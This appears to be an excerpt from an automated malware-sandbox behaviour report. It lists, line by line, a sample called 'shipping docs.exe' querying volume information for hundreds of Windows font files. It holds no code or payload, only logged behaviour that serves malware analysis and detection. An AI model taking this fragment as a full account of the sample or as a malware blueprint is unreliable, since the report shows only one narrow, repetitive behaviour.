Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
